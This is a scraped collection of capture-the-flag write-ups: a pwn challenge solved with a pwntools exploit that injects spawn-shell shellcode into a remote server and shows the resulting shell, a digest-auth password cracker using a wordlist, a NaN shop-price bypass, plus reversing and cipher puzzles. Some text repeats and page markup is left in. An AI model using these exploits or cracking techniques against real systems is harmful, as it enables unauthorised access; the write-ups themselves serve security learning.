.138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>shellcodeme_hard</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solv.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
Using secret mode 31337 we overflow the RIP, make it point to the start of the random pagethat we guessed using the local timewe write a shellcode stub in the page that pivot the execution to a ROP-chain in the heap,which reads a bigger shellcode in the random page and then jumps to itthe last shellcode bypass the seccomp filter using openat and sendfile Read the exploit.py
An exposed Kubelets port in a vulnerable deployment allows an attacker to run commands without authentication remotely within containers. Mirror here: https://nusgreyhats.org/write-ups/hitbgsecquals2018-babybaby/
I always hated history class. I thought history would never come in handy. It contained two files:encrypt.pyciphertext.txt On reading the python code we can easily know that;Lowercase chars have been substituted by other Lowercase char.All other are where they are suppose to be. We even know flag has timctf in start.So by simple reverse subsitution we get the flag as:timctf{Ps3udO_R4NdoM_1S_Not_RAnD0M}
# ctf-asis-quals-2018ASIS CTF QUALS 2018: Buy Flags polarizedCategory: WEBDescription: Here is an online shop that sells flags :) but we don’t have enough money! Can you buy the flag? Checking the source code:We see that its just a check for coupon,flags and and card . We also are able to see /pay .$(document).ready(function() { $('#pay').click(function() { var coupon = btoa($('#coupon').val()); var flags = ['fake1', 'fake2', 'asis']; var card = []; for (var i in flags) { if ($('#' + flags[i]).is(":checked")) { card.push({name:flags[i], count:1}); } } $.ajax({ type: 'POST', url :'/pay', data: JSON.stringify({card: card, coupon: coupon}), contentType: 'application/json', success: function(result) { alert(result.result); } }) }); Intercepting in BURP and examining session cookie. We find session cookie has something interesting half of session cookie value remains same in repeater. Now examining cookie for relevant info:session=eyJjb3Vwb25zIjpbIiJdLCJjcmVkaXQiOjB9.DclIIg.gHOCuPsZQBGXb5Mo-LjjuilER7Y We base64 decode the session cookie and see output. Part of output is readable with fields coupon[] and card[] appended with random sequence part which changes. This represented the static part of cookie was just coupon and card field. Attempts of figure out other part are in vain. So taking into account another vector. We can see from source code snippet. There is field count. Trying with abuse count parameter.{"card":[{"name":"asis","count":1}],"coupon":"YWJjZA=="} We get response as: your credit not enought.{"result": "your credit not enough"} We change value of count to -1. The server response is:{"result":"item count must be greater than zero"} We try with count 4 but get response: your credit not enough Finally changing the count to NaN as NaN cannot be true in comparions:"card":[{"name":"asis","count":NaN}],"coupon":"YWJjZA=="} We get pay success with flag in response:{"data":"ASIS{th1@n_3xpens1ve_Fl@G}\n","flag":"asis"}
**No files provided** **Description** > https://dance.wpictf.xyz> > by binam **Solution** Navigating to the URL in a browser immediately redirects us to [this helpful video](https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s). After taking some inspiration from the video, we attempt a non-browser approach: $ curl "https://dance.wpictf.xyz" <title>Redirecting...</title> <h1>Redirecting...</h1> You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link. Still not terribly useful. Let's enable verbose mode for `curl`: $ curl -v https://dance.wpictf.xyz > GET / HTTP/1.1 ... > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 19:35:02 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <title>Redirecting...</title> ... Two cookies are given: > `flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=` This should be our flag. It looks like base64, but it produces garbage after decoding. > `Julius C.="got good dance moves."` Julius C. here is a hint / reference to Julius Caesar, and hence the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher). This cipher applies to letters and leaves numbers and other data intact. Applying it to the decoded flag data is not much use (mostly binary data). So we try to apply the shift with all 25 keys to the base64 string itself: #!/usr/bin/env python import base64, string flag = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=" upper = string.ascii_uppercase lower = string.ascii_lowercase for key in range(1, 26): shift = string.maketrans( upper + lower, upper[key:] + upper[:key] + lower[key:] + lower[:key]) print key, base64.b64decode(string.translate(flag, shift)) > [link to script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-04-13-WPICTF/scripts/web-150-dance-shift.py) (Or use a website like [this](https://www.xarg.org/tools/caesar-cipher/).) And, sure enough, with a key of 17, we get: WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges} You should be redirected automatically to target URL: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s. If not click the link. Still not terribly useful. Let's enable verbose mode for `curl`: $ curl -v https://dance.wpictf.xyz > GET / HTTP/1.1 ... > < HTTP/1.1 302 FOUND * Server nginx/1.13.12 is not blacklisted < Server: nginx/1.13.12 < Date: Sun, 15 Apr 2018 19:35:02 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 309 < Connection: keep-alive < Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ#t=0m09s < Set-Cookie: flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=; Path=/ < Set-Cookie: Julius C.="got good dance moves."; Path=/ < Strict-Transport-Security: max-age=31536000 < <title>Redirecting...</title> ... Two cookies are given: > `flag=E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=` This should be our flag. It looks like base64, but it produces garbage after decoding. > `Julius C.="got good dance moves."` Julius C. here is a hint / reference to Julius Caesar, and hence the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher). This cipher applies to letters and leaves numbers and other data intact. Applying it to the decoded flag data is not much use (mostly binary data). So we try to apply the shift with all 25 keys to the base64 string itself: #!/usr/bin/env python import base64, string flag = "E1KSn2SSktOcG2AeV3WdUQAoj24fm19xVGmomMSoH3SuHEAuG2WxHDuSIF5wIGW9MZx=" upper = string.ascii_uppercase lower = string.ascii_lowercase for key in range(1, 26): shift = string.maketrans( upper + lower, upper[key:] + upper[:key] + lower[key:] + lower[:key]) print key, base64.b64decode(string.translate(flag, shift)) > [link to script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-04-13-WPICTF/scripts/web-150-dance-shift.py) (Or use a website like [this](https://www.xarg.org/tools/caesar-cipher/).) And, sure enough, with a key of 17, we get: WPI{bInAm_do3sn,t_kn0w_h1w_t2_creaTe_chaIIenges}
## === shellcodeme (Pwn: 62 solves / 420 pts) === I checked the status of register, stack and memory map after call rbp with ASLR disabled.The status of register is the following. ```RAX: 0xa ('\n')RBX: 0x4000 ('')RCX: 0xad6ff050f585f01 RDX: 0x7ffff7ff300b --> 0xa ('\n')RSI: 0x7ffff7dd3790 --> 0x0 RDI: 0x7ffff7dd18e0 --> 0xfbad2088 ``` The status of stack is the following. ```0000| 0x7fffffffdda8 --> 0x40072f (<main+207>: xor edi,edi) ==> pop rdx0008| 0x7fffffffddb0 --> 0x0 0016| 0x7fffffffddb8 --> 0x100000000 0024| 0x7fffffffddc0 --> 0x1000000000000 0032| 0x7fffffffddc8 --> 0x0 0040| 0x7fffffffddd0 --> 0x0 ==> pop rdi0048| 0x7fffffffddd8 --> 0x0 ==> pop rax0056| 0x7fffffffdde0 --> 0x0 ``` The status of memory map is the following. ```Start End Perm Name0x00400000 0x00401000 r-xp /Pwn_shellcodeme/shellcodeme0x00600000 0x00601000 r-xp /Pwn_shellcodeme/shellcodeme0x00601000 0x00602000 rwxp /Pwn_shellcodeme/shellcodeme0x00602000 0x00624000 rwxp [heap]0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so0x00007ffff7dcd000 0x00007ffff7dd1000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so0x00007ffff7dd1000 0x00007ffff7dd3000 rwxp /lib/x86_64-linux-gnu/libc-2.23.so0x00007ffff7dd3000 0x00007ffff7dd7000 rwxp mapped``` I thought about reading the shellcode into the rsi 's address area.I took advantage of the reasonable data set on the stack.The status of the server stack is the same.Below is the state after pop of rax, rdx, rdi. ```RAX: 0x0 RBX: 0x4000 ('')RCX: 0xad6ff050f585f01 RDX: 0x40072f (<main+207>: xor edi,edi)RSI: 0x7ffff7dd3790 --> 0x0 RDI: 0x0 ``` I can call read syscall and read the shellcode into rsi's address area.And I can call to rsi and start shellcode. The assemble code is the following. ``` 0x7ffff7ff3000: pop rdx 0x7ffff7ff3001: pop rdi 0x7ffff7ff3002: pop rdi 0x7ffff7ff3003: pop rdi 0x7ffff7ff3004: pop rdi 0x7ffff7ff3005: pop rdi 0x7ffff7ff3006: pop rax 0x7ffff7ff3007: syscall 0x7ffff7ff3009: call rsi``` Final exploit code is the following. ```from pwn import * context(os='linux', arch='amd64')#context.log_level = 'debug' shellcode = asm(shellcraft.amd64.linux.sh()) BINARY = './shellcodeme'elf = ELF(BINARY) if len(sys.argv) > 1 and sys.argv[1] == 'r': HOST = "shellcodeme.420blaze.in" PORT = 420 s = remote(HOST, PORT)else: s = process(BINARY) s.recvuntil("Shellcode?\n")#buf = "\x5a\x5f\x5f\x5f\x5f\x5f\x58\x0f\x05\xff\xd6"buf = asm("pop rdx")buf += asm("pop rdi")*5buf += asm("pop rax")buf += asm("syscall")buf += asm("call rsi")s.sendline(buf) sleep(0.1)s.sendline(shellcode) s.interactive()``` The execution result is the following. ```ubuntu:~/Pwn_shellcodeme$ python solve.py r[*] '/Pwn_shellcodeme/shellcodeme' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments[*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to shellcodeme.420blaze.in on port 420: Done[*] Switching to interactive mode$ iduid=1000(shellcodeme) gid=1000(shellcodeme) groups=1000(shellcodeme)$ lsflagshellcodeme$ cat flagblaze{g0lf3d_y0ur_sh3llc0d3's_un1qu3_byt3z}```
# Assembly Me (Re) In the task we get a simple webpage with a single textbox and button.There is javascript and [webassembly](wasm.txt) code which validates password we input on the page. There is quite a lot of this webasm, and reversing it is quite hard, but already initial reading shows: ```javascript var button = document.getElementById('check'); button.addEventListener('click', function(){ u = document.getElementById("i").value; var a = Module.cwrap('checkAuth', 'string', ['string']); var b = a(u); document.getElementById("x").innerHTML = b; });``` So we know that entry point is `checkAuth` function, and we can see that: ``` (export "_checkAuth" (func $func35))``` So let's focus on this single function: ``` (func $func35 (param $var0 i32) (result i32) (local $var1 i32) (local $var2 i32) get_global $global5 set_local $var1 get_global $global5 i32.const 16 i32.add set_global $global5 get_local $var1 set_local $var2 get_local $var0 i32.const 1616 i32.const 4 call $func57 i32.eqz if get_local $var0 i32.const 4 i32.add i32.const 1638 i32.const 4 call $func57 i32.eqz if get_local $var0 i32.const 8 i32.add i32.const 1610 i32.const 5 call $func57 i32.eqz if get_local $var0 i32.const 13 i32.add i32.const 1598 i32.const 4 call $func57 i32.eqz if get_local $var0 i32.const 17 i32.add i32.const 1681 i32.const 3 call $func57 i32.eqz if get_local $var0 i32.const 20 i32.add i32.const 1654 i32.const 9 call $func57 i32.eqz if get_local $var1 set_global $global5 i32.const 1690 return end end end end end end i32.const 1396 get_local $var0 get_local $var0 call $func45 call $func57 i32.eqz if get_local $var1 set_global $global5 i32.const 1761 return end i32.const 1747 get_local $var2 call $func77 drop get_local $var1 set_global $global5 i32.const 1761 )``` Main part of the code is a cascade of conditions and calls to `$func57`.Once we pass a single condition we can enter another one, so it's safe to assume we need to pass all of them. Reversing webasm is hard, so first we tried to work with this as some kind of blackbox.It's clear that before calling function 57 there is some address put on the stack (1616, 1638... are addresses of some strings in the code) and some small number.We can also see that we want the return value to be 0, so we can pass the condition.By seding some random values for the first condition we can notice a very interesting characteristic of the return value - it's not random at all.In fact it's monotonous!If we send `a` we get value `X`, if we send `b` we get `X+1` etc.So it's trivial to calculate which character we need to send in order to get `0`.But once we do this, the value instead of 0 becomes some larger number.Our guess was that the function checks multiple characters, so once we get a "valid" first character, it checks another one and thus we get a large number again. With those assumptions the solution seems quite straightforward: 1. We put breakpoint on `i32.eqz` 2. We send random letter as password, let's say `a`.3. We send next letter in alphabet, to make sure we didn't actually get the right one on first try.4. Now we know how far `a` is from the expected letter, so we can calculate a real password character by `chr(ord('a')-X)` We can repeat this with second letter of the password, and so on, until we actually pass the condition.Once we pass the check (after a few letters), we can place another breakpoint on the next condition and repeat the same procedure. So for example when we send `a` we get return value (top of the stack) `-3` which means the real character is `chr(ord('a')-(-3) == 'd'`: ![](debug.png) We follow this approach to get whole password: `d51XPox)1S0xk5S11W_eKXK,,,xie` and we get `Authentication is successful. The flag is NDH{password}`
# [ASIS CTF Quals 2018] Trashy or Classy (Forensics-118pts) ## Discovery time ! In this task we were given a tcpdump capture file (pcap). So we can open it with tool like Wireshark or NetworkMiner.In this case we have used NetworkMiner.When opened, we saw a lot of http request from `10.0.2.15` to `167.99.233.88` and it seems like the user as performed a HTTP Directory Brute Force on some website located at `167.99.233.88`. The second thing that comes to our attention is the "Credentials" tab in NetworkMiner.In this tab there was that: |Client |Server |Protocol|Username|Password|...||---------|---------------------------------------------------|--------|--------|--------|---||10.0.2.15|167.99.233.88 [167.99.233.88][Private Area] (Other)|HTTP |admin |N/A |...| wich means that the user authenticate on some `Private Area` with user `admin`. So we looked at the "Parameters" tab and we used "filter keyword" with "Private Area" in parameter value. With this filter we easily saw that the authentication is for the `/private` directory.Then we scrolled down until we found a request to the `/private` directory followed by a server response with HTTP code 200 OK (and not 403 Forbidden like 99% of them). Finaly we saw a request to the "Private Area" followed by a HTTP code 200, and the `Authorization` parameter of the request was : `Digest username="admin", realm="Private Area", nonce="dUASPttqBQA=7f98746b6b66730448ee30eb2cd54d36d5b9ec0c", uri="/private/", algorithm=MD5, response="3823c96259b479bfa6737761e0f5f1ee", qop=auth, nc=00000001, cnonce="edba216c81ec879e"`. It's an HTTP digest authentication so we can easily compute hash for a given password and compare it with the `response` parameter of the authentication to see if it is the good password. We code a little python script to test all paswords of `rockyou.txt` worldlist: ```pythonimport hashlib cnonce = "edba216c81ec879e"nonce = "dUASPttqBQA=7f98746b6b66730448ee30eb2cd54d36d5b9ec0c"cnt = "00000001"user = "admin"realm = "Private Area"qop = "auth"resp = "3823c96259b479bfa6737761e0f5f1ee"uri = "/private/"meth = "GET" ha2 = hashlib.md5()ha2.update(meth.upper() + ":" + uri)ha2hex = ha2.hexdigest() with open("/home/raven57/Documents/rockyou.txt", "r") as worldlist: for pswd in worldlist: pswd = pswd[:-1] ha1 = hashlib.md5() ha1.update(user + ':' + realm + ':' + pswd) ha3 = hashlib.md5() ha3.update(ha1.hexdigest() + ":" + nonce + ":" + cnt + ":" + cnonce + ":" + qop + ":" + ha2h\ex ) if resp == ha3.hexdigest(): print "Password hit!" print 'Password = '+pswd break``` We run it, and after some few millisecond, it print:```Password hit!Password = rainbow```So now, we have the password of the `/private` directory for user `admin`. Then, we go to `167.99.233.88/private/` and we enter `admin` as user and `rainbow` as password.Once authenticated we get the `"Index of"` of `/private`. On that page we see that there is only a file named `flag.caidx` and a directory named `flag.casrt` on the `/private` directory. ## Extraction time ! Now that we found something interesting, let's try to download that and see what we can do with it ! We download `flag.caidx` and open it, but it's non printable caracters so we run the linux `file` command on it to see what kind of file it is:```$ file flag.caidx flag.caidx: data```Well, we still don't know what type of file it is, so we ask google and found that this file is a *"index file referring to a directory tree"* used by [casync](https://github.com/systemd/casync). On the *casync* Github we saw that to extract `.caidx` data we need to run a command like that: ```$ casync extract --store=/var/lib/backup.castr /home/lennart.caidx /home/lennart``` So we need the content of the `flag.castr` directory to extract the data, but when we try to access it, we got a `403 Forbidden`, so we will try without it. We download *casync*, build it, and then we run it:```$ ./casync extract --store=./flag.castr ./flag.caidx ./flagFailed to run synchronizer: No such file or directory```But as we can expect, we got an error, and with `strace` we will try to figure what is the name of the missing file so that we can download it:```$ strace ./casync extract --store=./flag.castr ./flag.caidx ./flag 2> tmpfile; cat tmpfile | grep "No such file"access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)...openat(AT_FDCWD, "./flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk", O_RDONLY|O_NOCTTY|O_NOFOLLOW|O_CLOEXEC) = -1 ENOENT (No such file or directory)write(2, "Failed to run synchronizer: No s"..., 54Failed to run synchronizer: No such file or directory```So, now that we have a file name, we download that file from the website and put it where *casync* looks for it:```$ wget --user=admin --password=rainbow http://167.99.233.88/private/flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk$ mkdir flag.castr$ mkdir flag.castr/caf4$ mv caf4* ./flag.castr/caf4/```We run *casync* again and see that there is another file missing, we repeat the above step several times and understand that there is too many files to get ! So we code another python script to get all of them: ```pythonimport os while True: command = 'strace ./casync extract -v --without=privileged --store=./flag.castr ./flag.caidx fla\g/ 2> tmpfile; cat tmpfile | grep "No such file" | grep ".cacnk"' process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=None, shell=True) output = process.communicate() if not (".cacnk" in output[0]): break i1 = output[0].find("flag.castr") i2 = output[0].find("cacnk") + 5 f = output[0][i1:i2] os.system('wget --user=admin --password=rainbow http://167.99.233.88/private/' + f) os.system('mkdir ' + f[:15]) os.system('mv ' + f[16:] + ' ' + f[:15])```We run our script and wait until he finished.Finaly, we run *casync* one last time and look at the extracted data:```$ sudo ./casync extract --store=./flag.castr ./flag.caidx ./flag$ ls ./flagflag.png```>We open the `flag.png` file and saw the flag written right in front of us. **Et voilà !**
> baby C> > This [babyc](https://0xd13a.github.io/ctfs/asis2018/babyc/babyc.tar.xz) needed swaddling!> > flag is ASIS{sha1(input[:14])} We are supplied with an executable that asks for a string and then responds with a ```Wrong!``` or ```Correct :)```: ```$ ./babyctestWrong!``` Let's load it into IDA Pro. The code is a long sequence of ```MOV``` statements, so it's likely protected by [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator): ```....text:0804838A mov word ptr dword_81F5FF8, dx.text:08048391 mov dword_81F5FFE+2, edx.text:08048397 mov ax, word ptr dword_81F5FF0+2.text:0804839D mov cx, word ptr dword_81F5FF4+2.text:080483A4 mov edx, off_8060F30[eax*4].text:080483AB mov edx, [edx+ecx*4].text:080483AE mov cx, word_81F6002.text:080483B5 mov edx, off_8060F30[edx*4].text:080483BC mov edx, [edx+ecx*4].text:080483BF mov word ptr dword_81F5FF8+2, dx.text:080483C6 mov dword_81F5FFE+2, edx.text:080483CC mov eax, dword_81F5FF8.text:080483D1 mov eax, eax.text:080483D3 mov dword_81F6110, eax.text:080483D8 mov eax, offset off_83F6130.text:080483DD mov edx, dword_83F6158...``` Running [demovfuscator](https://github.com/kirschju/demovfuscator) over it helps clean up the code a little bit. Let's take a closer look at the updated code and debug the executable. A few things become apparent: * String at position ```3``` is expected to be ```m0vfu3c4t0r!``` ```....text:0804933D mov eax, offset aM0vfu3c4t0r ; "m0vfu3c4t0r!"....text:08049552 mov dword_83F6174, eax.text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset _strncmp.text:08049576 mov eax, 1.text:0804957B jmp sub_8048290...``` * First 3 characters are expected to be ```Ah_``` ```....text:080498DB mov dword_804D058, 41h ; 'A'....text:08049C05 mov dword_804D058, 68h ; 'h'....text:08049F2F mov dword_804D058, 5Fh ; '_'...``` * String at position ```19``` is expected to be ```0y1ng:(``` (that string is built on the fly): ```....text:0804A3FB mov dword_83F6174, eax.text:0804A400 mov eax, off_83F6170[edx*4].text:0804A407 mov edx, dword_81F6110.text:0804A40D mov [eax], edx.text:0804A40F mov esp, off_83F6130.text:0804A415 mov dword_85F61C4, offset _strncmp.text:0804A41F mov eax, 1.text:0804A424 jmp sub_8048290...``` * Finally the 4 characters at position ```17``` are expected to be ```nn0y```: ```....text:0804A7BD mov dword_804D058, 79306E6Eh ; 'nn0y'...``` When we put all these requirements together the expected string turns out to be ```Ah_m0vfu3c4t0r!..nn0y1ng:(``` (the 2 periods in the middle are not checked and can be anything): ```$ ./babycAh_m0vfu3c4t0r!_Ann0y1ng:( Correct :)``` The flag is the SHA1 of the first ```14``` characters: ```ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}```
